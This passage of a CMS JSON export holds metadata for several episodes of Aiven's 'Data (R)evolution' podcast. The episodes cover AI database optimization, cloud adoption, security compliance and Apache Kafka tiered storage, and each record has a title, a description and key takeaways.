(R)Evolution","text":[{"_key":"124fda8978d8","_type":"block","children":[{"_key":"608a4ccd40ad0","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"48007a1d099e","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"568f9f558f88","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"},{"_key":"f53079b8eb24","_ref":"3b26dfda-13de-40b9-b135-aa4bc08b0c12","_type":"podcast"},{"_key":"a7ae557ae006","_ref":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"3ab0508c634c","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"60d749594c51","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"02434a6a62ee","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"a4da715948947026c2f7da39ccd48ff0","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"619408e0b509","_ref":"d8ba49d5-3150-48bf-9bb6-a7f6661f1208","_type":"reference"},{"_key":"58de1d647813","_ref":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"e2bfb5027105","_type":"block","children":[{"_key":"5a3d5fc2acf00","_type":"span","marks":[],"text":"Imagine a world where databases not only store vast amounts of data but autonomously optimize themselves, predict future trends, and seamlessly integrate with AI. In this Data (R)evolution episode, we share a fascinating conversation with Soumya Bijjal, the VP of Product at Aiven, and John Joseph Kennedy, the Head of Databases at Aiven, about the future of AI, databases, and data platforms. They dissect the current AI landscape, the challenges companies face, and the transformative potential of integrating AI with data systems."}],"markDefs":[],"style":"normal"},{"_key":"a4bbd17e813e","_type":"block","children":[{"_key":"5a3d5fc2acf01","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"f28e92608f8e","_type":"block","children":[{"_key":"1e8bfbfa66680","_type":"span","marks":[],"text":"Focus on advanced data processing and streaming technologies like Apache Kafka® to maintain data accuracy and timeliness."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ee30d2f5ac9c","_type":"block","children":[{"_key":"e67a153533570","_type":"span","marks":[],"text":"Tools like "},{"_key":"2ab6799ecfe7","_type":"span","marks":["54e8393d0a4c"],"text":"Aiven AI Database Optimizer"},{"_key":"c6956a9bd64f","_type":"span","marks":[],"text":" provide automated recommendations for optimizing queries and indexes, which helps in accelerating performance and reducing cloud costs without needing extensive DBA expertise."}],"level":1,"listItem":"number","markDefs":[{"_key":"54e8393d0a4c","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"c544e872d397","_type":"block","children":[{"_key":"972b2ba3b7750","_type":"span","marks":[],"text":"Companies should experiment with new technologies to stay ahead while relying on tried-and-tested solutions for critical production workloads."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"summary":"Conversation of current AI landscape, the challenges companies face, and the transformative potential of integrating AI with data systems.","title":"Building smart data platforms with AI to drive business innovation","ytId":"0F1Na5a6vPo"},"publishedAt":"2024-06-18T06:48:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Conversation of current AI landscape, the challenges companies face, and the transformative potential of integrating AI with data systems.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c990ea0ff1fe3e6951b292da73c0bc33046d1a47-8001x4501-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Building smart data platforms with AI to drive business innovation"},"slug":{"_type":"slug","current":"/podcast/building-smart-data-platforms-with-ai"}} {"__i18n_lang":"en","_createdAt":"2024-07-17T09:12:14Z","_id":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_rev":"lESIXfhUM7GwGlQ32aWDQJ","_type":"podcast","_updatedAt":"2024-07-17T09:55:03Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"54a51f45d65c","_ref":"5dbb3b6d-25eb-4569-ae11-98c37618c274","_type":"podcast"},{"_key":"4a11611fc360","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"},{"_key":"480346873b7a","_ref":"3b26dfda-13de-40b9-b135-aa4bc08b0c12","_strengthenOnPublish":{"type":"podcast"},"_type":"podcast","_weak":true}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"21541ac2742d","_ref":"e4f450f6-2aba-414d-a9ca-5426c2fe28cd","_strengthenOnPublish":{"template":{"id":"person"},"type":"person"},"_type":"reference","_weak":true},{"_key":"4fc9972eb0ae","_ref":"ee632255-1bbd-4a6c-a0b5-042917259397","_strengthenOnPublish":{"template":{"id":"person"},"type":"person"},"_type":"reference","_weak":true}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"951147953ff6","_type":"block","children":[{"_key":"2b56f5c6a71f0","_type":"span","marks":[],"text":"Adopting cloud technology to gain velocity and agility in the marketplace allows companies to focus on what matters most. However, this transition isn't without its risks. "}],"markDefs":[],"style":"normal"},{"_key":"e955e009591f","_type":"block","children":[{"_key":"4bdc61e505da","_type":"span","marks":[],"text":"In this episode of Data (R)evolution, hosts Janki Patel Westenberg and Francesco Tisiot are joined by Dave Li, former Senior Software Engineer at Helthjem, and Oded Valin, Co-Founder \u0026 CEO at EverSQL, to discuss the application of AI in database management, the importance of expertise in cloud adoption, and the need for streamlined tools in an increasingly data-driven world. "}],"markDefs":[],"style":"normal"},{"_key":"eb4f72e58e5b","_type":"block","children":[{"_key":"47b38040ea8b","_type":"span","marks":["strong"],"text":"Key takeaways:"},{"_key":"666cd1122a27","_type":"span","marks":[],"text":" "}],"markDefs":[],"style":"normal"},{"_key":"d3fd6a0b78c3","_type":"block","children":[{"_key":"37f6b71156f0","_type":"span","marks":[],"text":"Balance expert partnerships with internal knowledge to tackle scalability and performance efficiently. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1d61c7a9cfe8","_type":"block","children":[{"_key":"adbdf5cb2732","_type":"span","marks":[],"text":"Trust AI recommendations to improve efficiency but maintain user control to avoid unexpected costs.\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4c2b4aa9614","_type":"block","children":[{"_key":"b977ab38d0340","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Conversation about application of AI in database management, the importance of expertise in cloud adoption, and the need for streamlined tools in an increasingly data-driven world.","title":"Empower professionals to perform better with AI","ytId":"gOFZhTZUjV0"},"publishedAt":"2024-07-09T12:51:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Conversation about application of AI in database management, the importance of expertise in cloud adoption, and the need for streamlined tools in an increasingly data-driven world.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9db0d2b7694388aca138d53f69930085ac84f1e3-1920x1080-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Empower professionals to perform better with AI"},"slug":{"_type":"slug","current":"/podcast/empower-professionals-to-perform-better-with-ai"}} {"__i18n_lang":"en","_createdAt":"2024-07-03T06:59:00Z","_id":"3b26dfda-13de-40b9-b135-aa4bc08b0c12","_rev":"IN03FCy14OOjYlZR2kCvpa","_type":"podcast","_updatedAt":"2024-07-17T09:55:02Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"54a51f45d65c","_ref":"5dbb3b6d-25eb-4569-ae11-98c37618c274","_type":"podcast"},{"_key":"4a11611fc360","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"},{"_key":"f457ce99ba9b","_ref":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_strengthenOnPublish":{"type":"podcast"},"_type":"podcast","_weak":true}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"21541ac2742d","_ref":"76ca6172-29ec-4df1-a203-eb626cc1925e","_type":"reference"},{"_key":"2654d33f4476","_ref":"d63fd8b3-d914-49de-a4f7-9dd66769ed3a","_strengthenOnPublish":{"template":{"id":"person"},"type":"person"},"_type":"reference","_weak":true}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"864271fe7067","_type":"block","children":[{"_key":"dcb8e700cee20","_type":"span","marks":[],"text":"In a world that's increasingly dependent on digital ecosystems, how do you ensure that your platform stands up to the demands of security and compliance? "}],"markDefs":[],"style":"normal"},{"_key":"45e36fc52a20","_type":"block","children":[{"_key":"be9952b89b95","_type":"span","marks":[],"text":"In this episode of Data (R)evolution, we are joined by Jamie Arlen, Aiven's CISO, and Chris Hill, CISO at Avaya. With rising demands for transparency and data security, Jamie and Chris discuss maintaining compliance with standards like Fedramp, PCI, GDPR, and HIPAA, while emphasizing the need for trust within teams and partnerships, proactive preparation for security incidents, and the continuous effort required for maintaining compliance and security. "}],"markDefs":[],"style":"normal"},{"_key":"a52456347232","_type":"block","children":[{"_key":"aaf1c5d85e7d","_type":"span","marks":["strong"],"text":"Key takeaways: "}],"markDefs":[],"style":"normal"},{"_key":"1f2776297038","_type":"block","children":[{"_key":"01f7a20086dd","_type":"span","marks":[],"text":"Building and maintaining compliance requires continuous effort and thorough documentation, acting as the foundation of trust between businesses and their customers. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"acae2ec7a037","_type":"block","children":[{"_key":"8ebe24da4ebe","_type":"span","marks":[],"text":"Proactive preparation for worst-case scenarios, supported by a strong and skilled team, is crucial for maintaining security and reducing the impact of potential incidents. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9d2f4f6aab0a","_type":"block","children":[{"_key":"ad39b7e73a6b","_type":"span","marks":[],"text":"Understanding the distinctions between reliability and resiliency allows organizations to better manage and respond to both steady operations and unexpected challenges."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4c2b4aa9614","_type":"block","children":[{"_key":"b977ab38d0340","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Conversation about how do you ensure that your platform stands up to the demands of security and compliance.","title":"Effective strategies for managing security incidents and compliance","ytId":"oWN4w1LU0Vw"},"publishedAt":"2024-07-02T12:51:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Conversation about how do you ensure that your platform stands up to the demands of security and compliance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8f59c7827f8721ef390474002f38db06515dfac4-1920x1080-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Effective strategies for managing security incidents and compliance"},"slug":{"_type":"slug","current":"/podcast/effective-strategies-for-managing-security-incidents-and-compliance"}} {"__i18n_lang":"en","_createdAt":"2024-07-17T09:56:54Z","_id":"ac4c312d-4d76-409c-bd4f-818a311a0bca","_rev":"IN03FCy14OOjYlZR2kDyka","_type":"podcast","_updatedAt":"2024-07-17T10:00:47Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"30536904d4c4","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"w-full","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"124fda8978d8","_type":"block","children":[{"_key":"608a4ccd40ad0","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"48007a1d099e","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"568f9f558f88","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"},{"_key":"f53079b8eb24","_ref":"3b26dfda-13de-40b9-b135-aa4bc08b0c12","_type":"podcast"},{"_key":"a7ae557ae006","_ref":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"3ab0508c634c","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"60d749594c51","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"02434a6a62ee","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"a4da715948947026c2f7da39ccd48ff0","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"619408e0b509","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"},{"_key":"58de1d647813","_ref":"37f35a80-44f4-47c1-8578-3d2c3f6f76ef","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"9df172e3a37d","_type":"block","children":[{"_key":"52da527c3b850","_type":"span","marks":[],"text":"Utilizing the true potential of data streaming is key to business success. "}],"markDefs":[],"style":"normal"},{"_key":"36defac7ebbb","_type":"block","children":[{"_key":"f69d17f9bbbc","_type":"span","marks":[],"text":"In this Data (R)evolution episode, we're joined by Josep Prat and Filip Yonov to dive into the transformative features of Apache Kafka and its evolving role in data architecture. They discuss the critical importance of collaboration and feedback in enhancing Kafka's capabilities, the future of \"lake house\" technology, exciting updates from the Open Source Program Office (OSPO), and the importance of Kafka's readiness to support evolving data formats—making it a backbone for modern data ecosystems. "}],"markDefs":[],"style":"normal"},{"_key":"e3ad1840ddec","_type":"block","children":[{"_key":"6c0d870ed696","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"3901a1424b88","_type":"block","children":[{"_key":"a62f2d95805a","_type":"span","marks":[],"text":"Community collaboration and contribution are essential for the continuous improvement and testing of Apache Kafka's capabilities."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36f6bc855f6c","_type":"block","children":[{"_key":"06a181e27081","_type":"span","marks":[],"text":"The evolution of Apache Kafka into a more versatile platform, combined with object storage and open table formats, can significantly enhance real-time data streaming, analytics, and the future of \"lake house\" technology."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5e6a83b1db7f","_type":"block","children":[{"_key":"19889521ceb2","_type":"span","marks":[],"text":"Tiered storage in Kafka facilitates more efficient and cost-effective data management by decoupling storage from computing."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Conversation about the critical importance of collaboration and feedback in enhancing Kafka's capabilities, the future of \"lake house\" technology.","title":"Hot and cold data with Apache Kafka, Tiered Storage, and Iceberg","ytId":"aKPpXO88bhE"},"publishedAt":"2024-07-16T09:59:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Conversation about the critical importance of collaboration and feedback in enhancing Kafka's capabilities, the future of \"lake house\" technology.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0cbc49e649235a2814f5865c5aa2d87840d8c353-1920x1080-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Hot and cold data with Apache Kafka, Tiered Storage, and Iceberg"},"slug":{"_type":"slug","current":"/podcast/hot-and-cold-data-with-apache-kafka-tiered-storage-and-iceberg"}} {"__i18n_lang":"en","_createdAt":"2024-08-08T11:47:22Z","_id":"0a3b8c9d-d307-423b-8b15-08ab4722965c","_rev":"msvVOwV0ly404Y5JqDdKFU","_type":"podcast","_updatedAt":"2024-08-09T12:10:30Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"c3bef936c905","_ref":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_type":"podcast"},{"_key":"54a51f45d65c","_ref":"ac4c312d-4d76-409c-bd4f-818a311a0bca","_type":"podcast"},{"_key":"80db901bec6f","_ref":"14add270-c3e5-4eba-bbb1-0afad4642af4","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"21541ac2742d","_ref":"37f35a80-44f4-47c1-8578-3d2c3f6f76ef","_type":"reference"},{"_key":"2da3711c3ed7","_ref":"8e34e2b5-69dc-4f34-b901-98545d1386c6","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"fc7a60501a5b","_type":"block","children":[{"_key":"fc850571337e0","_type":"span","marks":[],"text":"In this Data (R)evolution episode, Matan Mizrahi and Filip Yonov join us to discuss how Kafka effectively handles and optimizes data streams, the pursuit of standardized APIs, and the vital role of AI in optimizing complex systems. They also share how AI and open-source tools are transforming the landscape. Tune in to hear about the evolution of data streaming and the transformative impact of AI and cloud-native solutions."}],"markDefs":[],"style":"normal"},{"_key":"cfd7a88de180","_type":"block","children":[{"_key":"157c39bddf28","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"8ff6bc50843e","_type":"block","children":[{"_key":"2b991606b3910","_type":"span","marks":[],"text":"Emphasize the need for customer-defined scaling logic based on metrics and auto-scaling events for efficient Kafka management. "}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d62e51debc43","_type":"block","children":[{"_key":"68b50d4f8c5e","_type":"span","marks":[],"text":"The importance of integrating AI, like the Ivan AI database optimizer, to enhance workload optimization and complex system management in Kafka."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"627afe2d4174","_type":"block","children":[{"_key":"21777f987231","_type":"span","marks":[],"text":"The significance of strategic partner relationships in providing advanced software solutions and necessary knowledge and experience to mitigate risk in critical data infrastructure projects."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a4c2b4aa9614","_type":"block","children":[{"_key":"b977ab38d0340","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Tune in to hear about the 